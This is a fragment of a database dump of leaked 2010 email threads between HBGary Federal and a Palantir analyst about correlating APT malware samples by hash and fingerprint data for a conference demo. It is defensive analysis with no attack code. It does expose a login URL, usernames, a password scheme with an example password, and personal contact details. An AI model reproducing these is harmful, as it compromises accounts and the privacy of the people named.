279162665e7c01624091afb19b7d7f4c\r\n&gt;\r\n&gt; The screenshot makes this all very clear.\r\n&gt;\r\n&gt;\r\n&gt; To complete the presentation, we\'ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information.\r\n&gt;\r\n&gt; The first practice sessions for GovCon are next *Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we\'ll have all the data we\'ll need for our presentation by next\r\nTuesday.\r\n&gt;\r\n&gt; All of this data has been imported into the investigation named\r\n&quot;Commonality&quot; on our shared Palantir instance.\r\n&gt;\r\n&gt; Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst\r\n&gt; azollman@palantir.com\r\n| 202-684-8066\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Zollman\r\n&gt; Sent: Wednesday, September 22, 2010 9:44 PM\r\n&gt; To: \'Ted Vera\'\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: RE: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Ted --\r\n&gt;\r\n&gt; Having imported the fingerprints, I\'m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI\'m sure I could find matches on any subset of these fields in the dataset,\r\nI don\'t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren\'t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n&gt;\r\n&gt; The shared instance is now up and running, as well. You\'ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n&gt; https://host25.paas.palantirtech.com:25280/\r\n&gt;\r\n&gt; Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n\'s2010 (eg, ted\'s password is &quot;Ted\'s2010&quot;). The new APT samples are\r\nin an\r\ninvestigation named &quot;New APT Samples&quot; -- once you log in, choose\r\n&quot;open\r\ninvestigation&quot; under the &quot;Investigation&quot; menu and look for it\r\nthere.\r\n&gt;\r\n&gt; I\'ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you\'re\r\nin the area.\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Friday, September 17, 2010 6:56 PM\r\n&gt; To: Aaron Zollman\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Attached are some known APT samples from an ongoing investigation.\r\n&gt; Please add these to the samples Aaron B sent you. &nbsp;If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n&gt;\r\n&gt; Hope you have a nice weekend!\r\n&gt; Ted\r\n&gt; &lt;common-props.xlsx&gt;&lt;ScreenShot043.png&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15858,'aaron_hbgary_com/15858.html'),(12504,'2010-10-01','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009252.M243766P14101Q7359.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,','Re: Malware presentation at Palantir GovCon','That may be why I&#39;m not seeing anything as far as scoring goes.  Ted, Aaron?On Fri, Oct 1, 2010 at 2:37 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI still must be missing something.. I see that table but none of\r\nthe filenames listed there match the 11 fingerprint runs from the APT samples that\r\nI got earlier:\r\n\r\n \r\n\r\n0F88BED62A7C70E952C5C32EE675512B        svchost.exe\r\n\r\n279162665E7C01624091AFB19B7D7F4C        iprinp.dll\r\n\r\n43307FCF009AE3111F904E99DC4154EC        IZArcCM.dll\r\n\r\n773C65273E8116325338131EBA7FA428        bzhcwcio2.dll\r\n\r\n83D7E99ACE330A6301AB6423B16701DE        rasauto32.dll.2\r\n\r\n99BA36A387F82369440FA3858ED2C7AE        MLEPOREDT_rasauto32.dll\r\n\r\nAE7BF771B80576EC88469A1BC495812E        rasauto32.dll\r\n\r\nB59A06D7CA956A541944CAC6D0F95743        mine.asf\r\n\r\nC10222E198DD1B32F19D2C3BF55880CD        snarf.bin\r\n\r\nC7E858E4A51BA7D26AF9235064988274        r.exe\r\n\r\nE6FDACC4F1B816A10F67DC02E8C8D15C        ntshrui.dll\r\n\r\n \r\n\r\nAre these different samples?\r\n\r\n \r\n\r\n \r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n \r\n\r\n\r\n\r\nFrom: Mark Trynor\r\n[mailto:mark@hbgary.com] \r\nSent: Friday, October 01, 2010 4:30 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n \r\n\r\nYes, the executable names are\r\nlinked to the UUID in there as well starting on line 1885.  It&#39;s a\r\ncomplete dump of all the tables off the TMC database schema.  Each table\r\nshould begin with a header row.  \r\n\r\n\r\n\r\nOn Fri, Oct 1, 2010 at 2:21 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks. Looking at it now.\r\n\r\n \r\n\r\nCan I tell which of the outputs is from\r\nwhich of the original executables? \r\n\r\n \r\n\r\nThere’s only one CSV file, the ID\r\nnumbers in the first column start over twice, and there are more than two\r\nUUIDs, so I can’t quite figure out the mapping.\r\n\r\n\r\n\r\n \r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies |\r\nEmbedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark\r\nTrynor [mailto:mark@hbgary.com]\r\n\r\nSent: Friday, October 01, 2010 4:18 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\nAttached is the current output from the TMC for 2 of the executables. \r\nIt&#39;s still parsing the other 5.  There is some unnecessary data from a\r\ntest executable trojan that I used for testing.  I&#39;m not seeing anything\r\nfrom the binaries so far as a DDNA score.  These were live samples\r\ncorrect?  I&#39;ll ship more as it becomes available.\r\n\r\nThanks,\r\nMark\r\n\r\n\r\n\r\nOn\r\nThu, Sep 30, 2010 at 10:09 AM, Aaron Zollman &lt;azollman@palantir.com&gt;\r\nwrote:\r\n\r\nAaron,\r\n\r\nUnderstood. I&#39;ll be in the office all day Monday.\r\n\r\nIdeally we&#39;d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we&#39;d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com;\r\nMatthew Steckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples.  If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible.  I\r\nhave\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n&gt; All --\r\n&gt;\r\n&gt;       The deadline is coming up -- Aaron, can we meet again\r\nthis Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI&#39;ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n&gt;\r\n&gt;       But first, Progress!\r\n&gt;       I tried a new correlation technique -- a much simpler\r\none. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir.\r\n&gt;\r\n&gt; 6 of the malware samples don&#39;t have high Commonality with any of the APT\r\nsamples -- you&#39;ll see those off to the side in the attached screenshot.\r\n&gt;\r\n&gt; 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n&gt;\r\n&gt;       99ba36a387f82369440fa3858ed2c7ae\r\n&gt;       83d7e99ace330a6301ab6423b16701de\r\n&gt;       c10222e198dd1b32f19d2c3bf55880cd\r\n&gt;       ae7bf771b80576ec88469a1bc495812e\r\n&gt;\r\n&gt; And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n&gt;\r\n&gt;       279162665e7c01624091afb19b7d7f4c\r\n&gt;\r\n&gt; The screenshot makes this all very clear.\r\n&gt;\r\n&gt;\r\n&gt; To complete the presentation, we&#39;ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information.\r\n&gt;\r\n&gt; The first practice sessions for GovCon are next *Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we&#39;ll have all the data we&#39;ll need for our presentation by next\r\nTuesday.\r\n&gt;\r\n&gt; All of this data has been imported into the investigation named\r\n&quot;Commonality&quot; on our shared Palantir instance.\r\n&gt;\r\n&gt; Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst\r\n&gt; azollman@palantir.com\r\n| 202-684-8066\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Zollman\r\n&gt; Sent: Wednesday, September 22, 2010 9:44 PM\r\n&gt; To: &#39;Ted Vera&#39;\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: RE: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Ted --\r\n&gt;\r\n&gt; Having imported the fingerprints, I&#39;m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI&#39;m sure I could find matches on any subset of these fields in the dataset,\r\nI don&#39;t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren&#39;t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n&gt;\r\n&gt; The shared instance is now up and running, as well. You&#39;ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n&gt; https://host25.paas.palantirtech.com:25280/\r\n&gt;\r\n&gt; Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n&#39;s2010 (eg, ted&#39;s password is &quot;Ted&#39;s2010&quot;). The new APT samples are\r\nin an\r\ninvestigation named &quot;New APT Samples&quot; -- once you log in, choose\r\n&quot;open\r\ninvestigation&quot; under the &quot;Investigation&quot; menu and look for it\r\nthere.\r\n&gt;\r\n&gt; I&#39;ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you&#39;re\r\nin the area.\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Friday, September 17, 2010 6:56 PM\r\n&gt; To: Aaron Zollman\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Attached are some known APT samples from an ongoing investigation.\r\n&gt; Please add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n&gt;\r\n&gt; Hope you have a nice weekend!\r\n&gt; Ted\r\n&gt; &lt;common-props.xlsx&gt;&lt;ScreenShot043.png&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9803,'aaron_hbgary_com/9803.html'),(12505,'2010-10-01','\"Dan Woods\" <dwoods@palantir.com>','/aaron@hbgary.com/new/1297009258.M178689P14101Q7360.eml','\"Dan Woods\" <dwoods@palantir.com>','Partner Booth Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGovCon6 Partner Booth Presenters:\r\n\r\n&nbsp;\r\n\r\nEnclosed you will find the GovCon6 Partner Booth Guide,\r\nwhich should answer all your logistical questions about the upcoming\r\nconference.&nbsp; You can write me with any questions.\r\n\r\n&nbsp;\r\n\r\nSee you soon!\r\n\r\n&nbsp;\r\n\r\n-Dan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com\r\n| 650.248.1909\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15954,'aaron_hbgary_com/15954.html'),(12506,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009258.M522574P14101Q7361.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,','Re: Malware presentation at Palantir GovCon','Let mr get ahold of Ted and resolve the difference.Sent from my iPhoneOn Oct 1, 2010, at 1:54 PM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\nThat may be why I&#39;m not seeing anything as far as scoring goes.  Ted, Aaron?On Fri, Oct 1, 2010 at 2:37 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI still must be missing something.. I see that table but none of\r\nthe filenames listed there match the 11 fingerprint runs from the APT samples that\r\nI got earlier:\r\n\r\n \r\n\r\n0F88BED62A7C70E952C5C32EE675512B        svchost.exe\r\n\r\n279162665E7C01624091AFB19B7D7F4C        iprinp.dll\r\n\r\n43307FCF009AE3111F904E99DC4154EC        IZArcCM.dll\r\n\r\n773C65273E8116325338131EBA7FA428        bzhcwcio2.dll\r\n\r\n83D7E99ACE330A6301AB6423B16701DE        rasauto32.dll.2\r\n\r\n99BA36A387F82369440FA3858ED2C7AE        MLEPOREDT_rasauto32.dll\r\n\r\nAE7BF771B80576EC88469A1BC495812E        rasauto32.dll\r\n\r\nB59A06D7CA956A541944CAC6D0F95743        mine.asf\r\n\r\nC10222E198DD1B32F19D2C3BF55880CD        snarf.bin\r\n\r\nC7E858E4A51BA7D26AF9235064988274        r.exe\r\n\r\nE6FDACC4F1B816A10F67DC02E8C8D15C        ntshrui.dll\r\n\r\n \r\n\r\nAre these different samples?\r\n\r\n \r\n\r\n \r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n \r\n\r\n\r\n\r\nFrom: Mark Trynor\r\n[mailto:mark@hbgary.com] \r\nSent: Friday, October 01, 2010 4:30 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n \r\n\r\nYes, the executable names are\r\nlinked to the UUID in there as well starting on line 1885.  It&#39;s a\r\ncomplete dump of all the tables off the TMC database schema.  Each table\r\nshould begin with a header row.  \r\n\r\n\r\n\r\nOn Fri, Oct 1, 2010 at 2:21 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks. Looking at it now.\r\n\r\n \r\n\r\nCan I tell which of the outputs is from\r\nwhich of the original executables? \r\n\r\n \r\n\r\nThere’s only one CSV file, the ID\r\nnumbers in the first column start over twice, and there are more than two\r\nUUIDs, so I can’t quite figure out the mapping.\r\n\r\n\r\n\r\n \r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies |\r\nEmbedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Mark\r\nTrynor [mailto:mark@hbgary.com]\r\n\r\nSent: Friday, October 01, 2010 4:18 PM\r\nTo: Aaron Zollman\r\nCc: Aaron Barr; Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\nAttached is the current output from the TMC for 2 of the executables. \r\nIt&#39;s still parsing the other 5.  There is some unnecessary data from a\r\ntest executable trojan that I used for testing.  I&#39;m not seeing anything\r\nfrom the binaries so far as a DDNA score.  These were live samples\r\ncorrect?  I&#39;ll ship more as it becomes available.\r\n\r\nThanks,\r\nMark\r\n\r\n\r\n\r\nOn\r\nThu, Sep 30, 2010 at 10:09 AM, Aaron Zollman &lt;azollman@palantir.com&gt;\r\nwrote:\r\n\r\nAaron,\r\n\r\nUnderstood. I&#39;ll be in the office all day Monday.\r\n\r\nIdeally we&#39;d see the TMC output for the samples referenced by hash in the\r\nXLS I attached in my previous message; other TMC output could work but would\r\nchange the demo path we&#39;d been expecting.\r\n\r\nI am in meetings until about 2:30 but will call you afterwards.\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 30, 2010 10:36 AM\r\nTo: Aaron Zollman\r\nCc: Ted Vera; mark@hbgary.com;\r\nMatthew Steckman\r\nSubject: Re: Malware presentation at Palantir GovCon\r\n\r\nHi Aaron,\r\n\r\nI can meet on Monday.  This week I am in Oregon for my Sisters wedding.\r\n\r\nMark,\r\nPlease send Aaron a few TMC data samples.  If the TMC data samples are too\r\nscattered at the moment can you send him some responder data sets?\r\n\r\nAaron,\r\nI would like to get on the phone and discuss this today if possible.  I\r\nhave\r\nsome questions.\r\n\r\nAaron\r\nOn Sep 28, 2010, at 10:16 PM, Aaron Zollman wrote:\r\n\r\n&gt; All --\r\n&gt;\r\n&gt;       The deadline is coming up -- Aaron, can we meet again\r\nthis Friday to\r\nwork on the presentation some more? I also need some data from you, which\r\nI&#39;ve called out at the end of this message; including TMC samples we\r\ndiscussed last friday.\r\n&gt;\r\n&gt;       But first, Progress!\r\n&gt;       I tried a new correlation technique -- a much simpler\r\none. Using\r\nsqlite, I identified all malware with more than 20 fingerprints in common\r\nwith one (or more) of the APT samples. I then imported those Commonality\r\nrecords (a new datatype) as linking events in Palantir.\r\n&gt;\r\n&gt; 6 of the malware samples don&#39;t have high Commonality with any of the APT\r\nsamples -- you&#39;ll see those off to the side in the attached screenshot.\r\n&gt;\r\n&gt; 4 of the malware objects seem to be relatively tightly coupled to each\r\nother through some of the original samples:\r\n&gt;\r\n&gt;       99ba36a387f82369440fa3858ed2c7ae\r\n&gt;       83d7e99ace330a6301ab6423b16701de\r\n&gt;       c10222e198dd1b32f19d2c3bf55880cd\r\n&gt;       ae7bf771b80576ec88469a1bc495812e\r\n&gt;\r\n&gt; And one of the malware objects has a few commonalities with the others,\r\nbut several malware objects that are only similar to it (and not the other\r\n4):\r\n&gt;\r\n&gt;       279162665e7c01624091afb19b7d7f4c\r\n&gt;\r\n&gt; The screenshot makes this all very clear.\r\n&gt;\r\n&gt;\r\n&gt; To complete the presentation, we&#39;ll want to take those four malware\r\nobjects -- and possibly the linked malware objects as well -- and also\r\nimport some of the additional fingerprint data available from TMC -- IP\r\naddresses they call out to, interesting strings, etc. -- and further augment\r\n*that* data with things we learn from social network information.\r\n&gt;\r\n&gt; The first practice sessions for GovCon are next *Tuesday* the 5th. They\r\nsnapshot the data to build the servers used during the presentation the\r\nfollowing day, the 6th. While we can make some changes after this date,\r\nideally we&#39;ll have all the data we&#39;ll need for our presentation by next\r\nTuesday.\r\n&gt;\r\n&gt; All of this data has been imported into the investigation named\r\n&quot;Commonality&quot; on our shared Palantir instance.\r\n&gt;\r\n&gt; Aaron or Ted, can you provide me with some sample TMC output -- or\r\ncomplete TMC output for just the malware samples in the attacked XLS file?\r\n(this shows the APT malware hash, the malware hash from the original 100mb\r\nfingerprint set, and the number of common properties for each).\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst\r\n&gt; azollman@palantir.com\r\n| 202-684-8066\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Zollman\r\n&gt; Sent: Wednesday, September 22, 2010 9:44 PM\r\n&gt; To: &#39;Ted Vera&#39;\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: RE: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Ted --\r\n&gt;\r\n&gt; Having imported the fingerprints, I&#39;m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI&#39;m sure I could find matches on any subset of these fields in the dataset,\r\nI don&#39;t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren&#39;t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n&gt;\r\n&gt; The shared instance is now up and running, as well. You&#39;ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n&gt; https://host25.paas.palantirtech.com:25280/\r\n&gt;\r\n&gt; Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n&#39;s2010 (eg, ted&#39;s password is &quot;Ted&#39;s2010&quot;). The new APT samples are\r\nin an\r\ninvestigation named &quot;New APT Samples&quot; -- once you log in, choose\r\n&quot;open\r\ninvestigation&quot; under the &quot;Investigation&quot; menu and look for it\r\nthere.\r\n&gt;\r\n&gt; I&#39;ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you&#39;re\r\nin the area.\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Friday, September 17, 2010 6:56 PM\r\n&gt; To: Aaron Zollman\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Attached are some known APT samples from an ongoing investigation.\r\n&gt; Please add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n&gt;\r\n&gt; Hope you have a nice weekend!\r\n&gt; Ted\r\n&gt; &lt;common-props.xlsx&gt;&lt;ScreenShot043.png&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4433,'aaron_hbgary_com/4433.html'),(12507,'2010-10-01','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009272.M445941P14101Q7362.eml','\"Aaron Barr\" <aaron@hbgary.com>','files','files\r\n',16397,'aaron_hbgary_com/16397.html'),(12508,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009273.M684870P14101Q7363.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Soysauce clusters','Yes, for soysauce.  Did you get Gregs presentation.I will resolve file issue.  Need to get ahold of Ted.AaronSent from my iPhone\r\nOn Oct 1, 2010, at 1:28 PM, Aaron Zollman &lt;azollman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\nSorry; source data doesn’t contain any of the social network\r\nanalysis – just the Fingerprint outputs and plots of relationships. The social\r\nstuff is a capstone I really think we need for the presentation though – can you\r\nput that together either for SOYSAUCE or some other APT samples?\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Zollman \r\n\r\nSent: Friday, October 01, 2010 4:16 PM\r\nTo: &#39;Aaron Barr&#39;\r\nSubject: RE: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nOK, got it now. Thanks.\r\n\r\n \r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 1:59 PM\r\nTo: Aaron Zollman\r\nSubject: Re: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nyou got the source data right?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is Gregs brief from blackhat which was focused around\r\nthis malware set.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14072,'aaron_hbgary_com/14072.html'),(12509,'2010-10-01','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009273.M937079P14101Q7364.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Soysauce clusters','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI have greg&#8217;s presentation, yes. Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 5:11 PM\r\nTo: Aaron Zollman\r\nSubject: Re: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYes, for soysauce. &nbsp;Did you get Gregs presentation.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will resolve file issue. &nbsp;Need to get ahold of Ted.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 1, 2010, at 1:28 PM, Aaron Zollman &lt;azollman@palantir.com&gt; 